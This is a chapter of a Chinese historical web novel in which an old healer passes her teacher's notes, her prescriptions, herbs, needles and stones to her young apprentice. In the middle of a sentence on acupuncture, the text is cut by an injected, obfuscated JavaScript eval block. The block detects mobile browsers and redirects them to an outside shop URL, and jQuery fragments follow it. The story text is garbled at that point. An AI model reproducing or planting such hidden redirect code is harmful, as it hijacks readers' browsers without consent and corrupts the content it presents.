豆粥是温在灶上的，揭开封火的陶盖，白汽裹着谷物的香气袅袅升起，直往人鼻子里钻。


    佟凤华舀了两碗，又从小蒸笼里取出热好的“守岁金”——那用黍米和枣泥蒸制的糕饼，边缘微微焦黄，正是最香的时候。


    林晚捧着碗，粥的热度透过粗陶传到掌心，一路暖到心口。


    她小口小口地喝着，米粒煮得软烂，隐约还尝到一点豆腥气，是未经精磨的粗豆。


    放在从前，她或许会挑剔，但此刻，这碗粥却比任何山珍海味都来得熨帖。


    佟凤华坐在她对面的小凳上，也慢慢喝着粥。


    晨光从窗外斜斜照进来，落在老人花白的发髻上，给她镀上一层柔和的金边。


    她喝得很专注，仿佛这碗粥是什么需要细细品味的珍馐。


    屋里很安静，只有勺碗轻碰的细微声响。


    喝完粥，林晚自觉起身收拾碗筷。


    佟凤华没有阻拦，只是静静看着她舀水、洗碗、擦干、归位。


    等林晚忙完，她才开口：“丫头，坐。”


    林晚依言坐下。


    “今天看到的，你有什么想法？”佟凤华问得很直接。


    林晚沉默片刻，整理着思绪：“黑暗，比我想象的更黑暗。但更让我……困惑的，是那种矛盾。”


    “矛盾？”


    “乐乘的矛盾。”林晚斟酌着词句，“他可以是那个在路上冷血指挥袭击的人，也可以是今天在隙里出手相助的人。老兵也是——他守城时像个老实本分的老兵，可在隙里，他又是那个人口贩子的帮凶。这些人……好像都有两张脸。”


    佟凤华点点头，眼中露出赞许：“你看得很准。乱世之中，人往往要活成两副模样，一副给人看，一副给自己活。但你要明白，这两副模样之间，并不总是截然分开的。”


    她顿了顿，从怀里摸出一个油纸小包，打开，里面是几片暗红色的果干。


    她递了一片给林晚：“尝尝，山楂干，自己晒的。”


    林晚接过，含在嘴里，酸味在舌尖化开，冲淡了嘴里残留的粥味。


    “乐乘那个人，”佟凤华自己也含了一片，慢慢说道，“我打听过他。乐氏曾是齐国望族，到他父亲那代已经没落。他少年时在稷下学宫旁听过，据说极聪慧，尤其精于数术和医理。后来家道中落，母亲重病，他四处求医，散尽家财，最后还是没能救回。”


    林晚静静听着。


    “母亲死后，乐乘消失了三年。再出现时，就成了混沌社的人。”佟凤华的声音很平静，像是在说一个与自己无关的故事，“有人说他是为了钱，有人说他是想借混沌社的势力重振家业。但还有一种说法——他是为了报仇。”


    “报仇？”


    “当年给他母亲治病的，是临淄最有名的医家博士之一。那博士用了很多名贵药材，药方开得极其复杂，耗尽了乐家最后的积蓄。可病人还是死了。”佟凤华看向林晚，“乐乘后来查过那些药方，发现其中至少有三味药是根本不必要的，还有两味药的用量，足以让虚弱的病人提前丧命。”


    林晚心里一紧：“那博士是故意的？”


    “未必是故意害命。更可能是……为了彰显自己的医术高明，为了用那些名贵药材显示自己的地位，也为了多收诊金。”佟凤华冷笑，“医者一旦忘了本心，手中的笔就成了杀人的刀。”


    “所以乐乘恨医者？”


    “他恨的是那些把医道当作名利阶梯的人。”佟凤华说，“加入混沌社后，他主管‘采办’，却立下规矩：不收良籍，不收有家室牵挂者，不收年幼者。他只收那些真正走投无路、或者本就该死的人——逃犯、恶徒、自愿卖身的赌徒酒鬼。今天他救那对母子，或许不是伪善，而是那青年确实不符合他的规矩。”


    林晚咀嚼着这番话。如果真是这样，乐乘这个人就更加复杂了——他行走在黑暗里，却给自己划下了底线。


    “那老兵呢？”她问。


    “陈老三？”佟凤华摇摇头，“他不一样。他就是单纯的坏，坏得平庸，坏得理所当然。他做这事，不为仇，不为怨，只为了钱。因为他发现，在这世道，良心最不值钱。”


    说到这里，老人忽然站起身，走到墙角的一个旧木箱前。


    她打开箱子，从最底下取出一个用油布包裹得严严实实的东西。


    回到桌边，她一层层揭开油布，露出里面的物件——是一卷竹简，但比常见的竹简要厚实许多，简片被摩挲得油亮，边缘已经起了毛刺。


    “这是我师父传给我的。”佟凤华的手指轻轻抚过竹简表面，眼神变得悠远，“他叫秦越，是个游方医。我遇见他那年，才十二岁。”


    林晚屏住呼吸，知道老人要讲述重要的往事。


    “那年家乡闹瘟疫，爹娘都死了，我也染了病，被族人扔在乱葬岗等死。”佟凤华的声音很轻，仿佛怕惊扰了记忆里的谁，“是师父路过，把我从死人堆里扒出来。他那时已经是个老头子，背着一个破药囊，里面除了几样寻常草药，什么都没有。”


    “他救活了我，问我愿不愿意跟他学医。我说愿意，他就说：‘学医苦，要先学会看苦。’然后他带着我，走了整整三年。”


    “三年里，我们走过七个国家，见过饥荒里易子而食的惨状，见过战场上断肢残躯堆积如山，见过贵族饮宴时一道菜抵得上百户人家一年的口粮，也见过像隙里那样的地方——每个城邑都有，只是叫法不同。”


    佟凤华的手微微颤抖：“师父教我认药、诊脉、开方，但教得最多的，是看人。他说，医者眼里不能只有病，要有人。要知道这病人从哪里来，家里有几口人，靠什么过活，抓不抓得起药。要知道，一样的风寒，开给农人和开给贵族的方子，不能一样。”


    “为什么？”林晚忍不住问。


    “因为农人要下地，药若太猛，伤了根本，他一家人就没了活路。贵族养尊处优，药可以下得重些，好得快些。”佟凤华看着林晚，“这不是偏心，是医者该有的计较。师父常说，医道是秤，一头是病，一头是命。你要称的，不只是病症轻重，更是这病落在什么人身上。”


    她打开竹简。


    林晚看到上面密密麻麻刻满了字，但那些字并非整齐排列，而是东一片西一片，有些地方还有涂改的痕迹。


    “这是师父的行医笔记。”佟凤华说，“他不像学宫里的博士，写书立说讲究章法。他想到什么就记什么，看到什么就刻什么。你看这里——”


    她的手指点在一处：“‘丙申年三月初七，过宋国睢阳。遇妇人难产，稳婆束手。施针催产，母子得保。其夫以母鸡一只相谢，受之。夜宿其家，见米缸见底，翌日留钱于枕下，购鸡钱双倍。’”


    又移到另一处：“‘戊戌年秋，于楚国郢都诊一富商。症为虚火，本可三剂愈。其显摆家财，强求名贵药材。遂开人参、鹿茸等物，诊金收十金。出府后，以八金散于贫民区。’”


    林晚一处处看过去。这些零散的记录里，有一个游方医者最真实的足迹：他救穷人也救富人，收鸡蛋也收金子，有时慷慨有时计较，一切都似乎随心所欲，却又隐约遵循着某种深植于心的准则。


    “师父活到七十八岁，走的那天很平静。”佟凤华合上竹简，重新用油布包好，“他跟我说：‘凤华啊，医道这条路上，你会遇到很多人。有些人把医术当阶梯，想往上爬；有些人把医术当生意，想发财；有些人把医术当功德，想积福。但这些都不对。’”


    “我问那什么是对？他说：‘医术就是医术，它像火。你可以用它取暖，也可以用它烧饭，还可以用它照亮夜路。但你也可能用它烧房子、伤人。火没有对错，看拿火的人怎么用。你要做的，不是评判火，是管好自己手里的火种。’”


    “然后他把这卷竹简给我，说：‘我没写什么医经宝典，只记了些一个老医者这辈子怎么用火。你留着，偶尔看看，别忘了一个医者该有的样子。’”


    屋里再次安静下来。炉火噼啪一声，炸开一点火星。


    林晚看着那卷被油布包裹的竹简，忽然明白了它的分量——这不是什么传世医书，而是一个医者一生的刻度。


    他用量病，也量人心，更量自己。


    “师父死后，我独自游历了十年。”佟凤华继续说，“后来累了，就在临淄住下。一开始也想悬壶济世，但发现……不容易。”


    她的嘴角泛起一丝苦涩：“我给穷人看病，少收钱甚至不收钱，结果其他医馆排挤我，说我坏了行情。我给富人看病，若不开些名贵药材，他们反觉得我不尽心。后来有一次，我诊一个官员的小妾，症本是郁结，只需疏肝理气。但那官员非要我开参茸大补之方，我不从，他便找茬砸了我的医馆。”


    “那时我才明白，师父为什么一辈子不肯在一个地方久留。因为这世道，容不下一个只想好好看病的大夫。”


    “那您后来……”林晚轻声问。


    “后来我就不开医馆了。”佟凤华笑了笑，那笑里有种看透世情的淡然，“我在巷子里住下，偶尔给街坊邻居看看小病，更多时候是炮制药材，卖给那些还能讲点道理的医馆。我也常去隙里那样的地方，不是为了救人——救不过来，只是为了……记住。”


    “记住什么？”


    “记住医道本来的样子。”佟凤华说，“记住在没有名利、没有算计的地方，人病了就是病了，痛了就是痛了，医者该做的就是减轻病痛。很简单的事，可出了那个地方，就变得复杂了。”


    她站起身，走到窗边。窗外，阳光已经完全铺满小院，晾晒的药材在光线下泛着各种色泽。


    “丫头，我今年六十三了。”佟凤华背对着林晚，声音有些飘忽，“没儿没女，没牵没挂。这一身医术，这一肚子见识，总要找个传人。可我找了这么多年，没找到一个合适的。”


    她转过身，目光落在林晚脸上：“有些人天资好，但心太高，总想着成名成家。有些人心肠好，但太软，见不得血见不得脓，真遇到重症就手抖。有些人两者都有，但又太精明，总想着怎么用医术换点什么。”


    “直到遇见你。”佟凤华走回桌边坐下，直视林晚的眼睛，“你在学宫的表现，我打听过。不卑不亢，有急智，有心计，但底线还在。你今天看到隙里那些，没吓得腿软，也没掉几滴眼泪就说要拯救苍生——你只是说，想试试能不能改变点什么。”


    她顿了顿，一字一句道：“这话实在，我信。”


    林晚感到眼眶有些发热。


    她张了张嘴，想说些什么，却发现自己声音哽咽。


    “凤姨，我……我没您想的那么好。”她低下头，“我也怕，也自私，也想自保。今天在隙里，看到那些景象，我第一个念头不是救人，是‘幸好我不是他们’。”


    “这就对了。”佟凤华反而笑了，“要是你第一个念头是‘我要救他们所有人’，我反而不敢把东西传给你。因为那是妄念，是自大。医者先要自知，知道自己几斤几两，知道能做什么、不能做什么。有怜悯心，但也要有分寸感——这是师父教我的最重要的一课。”


    她再次打开油布，这次没有展开竹简，而是从最底下抽出一本薄薄的绢册。


    绢册已经很旧了，边角磨损，但保存得很仔细。


    “这是我三十年来整理的药方笔记。”佟凤华将绢册推到林晚面前，“和师父的不同，我按病症分了类，每味药都写了性味、功效、常用剂量，还有……实际要考量的东西。”


    林晚翻开第一页。


    上面写着“风寒初起”，下列七八个方子，每个方子后面都有小字注解：


    “此方平和，宜于老人小儿，药价廉。”


    “此方效速，但中有麻黄，心悸者慎用，且药价中等。”


    “此方为某医馆常用，多加一味人参，价昂，效未必增，慎开与贫者。”


    再往后翻，各种病症，各种注解。


    有的写“此症多见之于码头苦力，多因湿寒入骨，除药石外，需嘱咐以姜汤常服”；有的写“贵妇常患此郁症，实乃闲愁，可开疏解之方，不必用重药”；还有的写“遇此急症，若家属殷实，可直言需用贵重药材；若贫苦，则斟酌替代之品，须知救人一命，亦是救一家性命”。


    这不是医书，这是一个医者三十年的良心账。


    “凤姨……”林晚抬头，泪珠终于滚落，“这太贵重了，我受不起。”


    “受得起。”佟凤华用粗糙的手指抹去她的眼泪，“因为你不是要把它供起来，是要用它。用它看病，用它教人，用它记住——医者手里握的是人命，笔下落的是良心。”


    她站起身，从墙上取下一串钥匙，打开里屋一直锁着的一个小橱。


    橱里整齐摆放着几十个陶罐、瓷瓶、木匣，每个都贴着标签。


    “这些是我这些年攒下的药材，有些是买的，有些是自己采的，还有些……是师父留下的老底子。”佟凤华一个个指给林晚看，“这是三七，止血圣药，但价昂，用时需斟酌；这是黄连，清热燥湿，味极苦，小儿畏服，可佐以甘草；这是朱砂，镇惊安神，但有毒，用量务必精准，毫厘不可差……”


    她一一讲解，从性味到功效，从储藏到鉴别真伪，从常用配伍到禁忌事项。


    林晚跟在她身边，用心记着，时而发问，佟凤华都耐心解答。


    不知不觉，日头已经升到中天。


    小院里光影移动，晒着的药材需要翻动了。


    两人一起把药材一一翻面。


    佟凤华教林晚辨认：“你看这黄芪，晒到这种程度最好，太干了易碎，太潮了易霉。还有这当归，要闻香气，香气浓郁的才好……”


    午时，简单吃了点蒸饼和咸菜。饭后佟凤华说：“下午我带你认认针。”


    她从柜子里取出一个针囊，里面整齐排列着几十根银针，长短粗细不一。又搬出一个用旧布缝制的人偶，人偶身上标记着穴位。


    “针灸之道，最重认穴。”佟凤华让人偶平躺，“我先教你最常用的十二个穴位


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17053618|189170||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ，每个穴位的功效、下针深浅、注意事项，你要记牢。”


    她一边说，一边在林晚手臂上比划：“先找自己的穴位，感受位置，再在人偶上练习。针拿稳，心要静，手要稳。”


    林晚学得很认真。前世她接触过一些中医知识，但都是皮毛。此刻真正上手，才发现针灸之精妙，远非书本所能尽述。一个穴位，下针的角度、深度、捻转的手法，都影响着疗效。


    佟凤华看她捻针的手势，点头：“不错，有点天赋。但记住，天赋是最靠不住的，要靠苦练。从明天起，每天练一个时辰捻针，先在布上练，再在瓜果上练，最后才敢在人身上试。”


    “凤姨，您第一次给人下针是什么时候？”林晚好奇。


    佟凤华笑了：“十六岁，跟师父在魏国。一个老农腿疼得走不了路，师父让我试试。我手抖得厉害，针扎下去，老农‘哎哟’一声，我吓得差点把针扔了。”


    “后来呢？”


    “后来师父握着我的手，慢慢捻针。一炷香后，老农说疼减轻了。”佟凤华眼神温暖，“那是我第一次感觉到，手里这根针，真的能减轻别人的痛苦。那种感觉……很好。”


    她看着林晚：“你以后也会有的。当你用学到的本事，真正帮到一个人时，那种感觉，比什么都实在。”


    整个下午，她们都在学针。


    佟凤华不仅教穴位，还讲每个穴位背后的故事：这个穴位是哪个医家先发现的，那个穴位有什么传说，这个穴位在急救时怎么用，那个穴位孕妇为什么忌用……


    林晚听得入迷。


    她忽然意识到，医术不只是技术，它背后是千百年来无数医者的探索、积累，甚至牺牲。每一味药，每一个穴位，都浸透着前人的智慧和经验。


    日头偏西时，佟凤华收起针囊：“今天先学这些，贪多嚼不烂。走，跟我去买菜，晚上给你做好吃的。”


    两人挎着篮子出门。


    巷子里已经热闹起来，邻家妇人在门口摘菜，孩童追逐嬉戏，炊烟袅袅升起。


    路过王婶家时，王婶正抱着小孙子在门口晒太阳，看见佟凤华就喊：“佟大夫，您来得正好，这孩子这两天有点咳嗽，您给瞧瞧？”


    佟凤华走过去，摸摸孩子的额头，又看了看舌苔：“没什么大事，着凉了。我回去配点枇杷叶和甘草，你煮水给他喝，别放糖。”


    “谢谢佟大夫！”王婶连连道谢，又从屋里拿出几个鸡蛋硬塞过来。


    佟凤华推辞不过，收了，从篮子里抓了一把红枣回赠：“给孩子煮粥时放几颗，补气血。”


    走出巷子，林晚轻声说：“凤姨，街坊都很敬重您。”


    佟凤华笑笑：“敬重不是求来的，是做出来的。我在这巷子住了二十年，谁家有个头疼脑热，我都去看看。不收钱，有时还贴药。时间长了，大家就当我是自家人。”


    她顿了顿：“其实医者就该这样，不是高高在上的‘先生’，是街坊邻居里懂医的那个。这样大家有病才敢来找你，才肯信你的话。”


    菜市已经快散了，摊贩在收摊。


    佟凤华熟门熟路地走到一个老农的菜摊前，挑了几样蔬菜，又割了半斤肉。


    老农显然认识她，称菜时秤杆翘得老高：“佟大夫，您拿好，这菜新鲜着呢！”


    回家路上，佟凤华说：“这老赵，三年前他媳妇难产，是我给接生的。母子平安，他记到现在。”


    林晚忽然明白了。佟凤华说她在临淄“不开医馆”，但实际上，她从未离开过医者的本分。


    只是她把医馆开在了巷子里，开在了市井间，开在了人心上。


    晚饭是佟凤华掌勺，林晚打下手。简单的菜蔬和肉，经她的手一做，香气四溢。


    一道葵菜炖豆腐，一道葱爆肉片，还有一盆蛋花汤。


    吃饭时，佟凤华说起年轻时跟师父游历的趣事：在秦国误入贵族猎场差点被当猎物射杀，在楚国用针灸治好了一个巫医都束手无策的怪病，在燕国大雪封山时和师父困在山洞里靠挖草根度日……


    那些故事里有艰辛，有危险，但也有温暖和光亮。林晚听着，仿佛看到一个年轻的女子跟着白发师父，踏遍列国，用一根针、一把草，践行着最朴素的医道。


    饭后，两人一起洗碗收拾。夜幕降临，屋里点起油灯。


    佟凤华从箱底又取出一样东西——这次是一个木匣。打开，里面是一套精美的砭石，大小不一，形状各异，石质温润，显然经常被人摩挲。


    “这是师父留给我的。”佟凤华拿起一块椭圆形的砭石，“他晚年时，手抖得厉害，已经不能下针了，就用砭石给人刮痧、按摩。他说，医者到最后，拼的不是技术，是心。心到了，即使用最简单的法子，也能治病。”


    她把砭石放回匣子，推给林晚：“这个也传给你。以后你老了，手抖了，针拿不稳了，还能用这个。”


    林晚接过木匣，觉得有千钧重。这不是一套工具，是两代医者的传承，是一种精神的托付。


    “凤姨，”她抬起头，眼中泪光闪烁，“我会好好学，好好用，不辜负您，也不辜负秦越老先生。”


    佟凤华看着她，久久不语。


    油灯的光在她脸上跳跃，那些皱纹在光影中显得格外深刻。最后，她伸手，像抚摸孩子一样摸了摸林晚的头。


    “好孩子。”她只说了一句，声音有些哑。


    夜深了，该歇息了。


    林晚躺在床上，却久久不能入眠。今天发生的一切在脑中回放：隙里的惨状，乐乘的矛盾，老兵的伪善，佟凤华的传承，那些药方，那些针，那些砭石……


    她忽然想起前世读过的一句话：“有时治愈，常常帮助，总是安慰。”


    此刻她明白了，医道或许就是如此。治愈是理想，帮助是本分，安慰是初心。


    而这一切的前提，是医者自己要先成为一个有温度的人。


    窗外月色如水，透过窗纸洒进来。隔壁传来佟凤华平稳的呼吸声——老人已经睡着了。


    林晚轻轻起身，披衣走到外屋。


    油灯还亮着，桌上放着那卷竹简、那本绢册、那个针囊、那匣砭石。


    她一一抚摸过去，感受着上面残留的温度。


    然后她跪下，对着这些传承之物，也对着里屋安睡的老人，郑重地磕了三个头。


    这不是仪式，是承诺。


    起身时，她看到墙上挂着一幅字，墨迹已经淡了，但还能认出是八个字：“医者仁心，薪火相传。”


    林晚站在字前，看了很久。


    最后，她轻声说：“我会的。”


    月光静静流淌，小院安宁。


    而在这一方安宁之外，临淄城已经沉睡，隙里依然黑暗，学宫暗流涌动，混沌社蛰伏待机。


    但此刻，这一切都暂时远去。


    这里只有一盏灯，一个老人，一个年轻的传承者，和一条刚刚开始的路。


    路还很长。


    但有人同行，便不孤单。